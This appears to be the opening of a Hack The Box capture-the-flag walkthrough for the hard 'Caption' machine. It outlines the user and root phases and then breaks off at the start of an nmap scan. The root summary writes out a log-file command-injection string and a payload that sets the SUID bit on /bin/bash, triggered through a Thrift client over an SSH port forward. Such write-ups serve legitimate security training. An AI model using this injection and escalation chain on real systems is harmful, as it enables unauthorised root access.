Hack The Box: Caption Machine Walkthrough – Hard Difficulty
Hard Machine BurpSuite, Challenges, gitbucket, h2csmuggler, HackTheBox, Linux, Penetration Testing, python3, ssh, SSH key, thrift, X-Forwarded-Host, XSS
Reading Time: 11 minutes

Introduction to Caption:

This write-up will explore the “Caption” machine from Hack The Box, which is categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Caption” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial Exploitation Phase of Caption HTB
- In the user phase of Caption HTB, the focus is on identifying and gaining access to lower-privileged services by enumerating available applications, such as GitBucket, and searching for sensitive information, including credentials. Tools like Burp Suite are utilized to analyze web traffic and detect potential vulnerabilities, while exploring pages like
/logsor/downloadsto uncover access points. - Upon successful access, the objective shifts to retrieving the user flag by leveraging any discovered credentials or system weaknesses. This phase sets the foundation for privilege escalation, which is necessary to proceed toward root access.
Root Flag
Exploiting the Vulnerability with Thrift and Port Forwarding
- First, forward port 9090 to your local machine via SSH using
ssh -i id_rsa -L 9090:127.0.0.1:9090 margo@caption.htb. Then, create a malicious log file on the remote system with a command injection that triggers a payload to be executed. This is done by runningecho '127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"' > /tmp/malicious.log. - Next, create a payload script that sets the SUID bit on
/bin/bashto escalate privileges:echo 'chmod +s /bin/bash' > /tmp/payload.sh. After making the payload executable, define the service in alog_service.thriftfile, generate the client code withthrift -r --gen py log_service.thrift, and use aclient.pyscript to trigger the command injection and execute the payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oN nmap_initial.txt 10.10.11.33Nmap Output: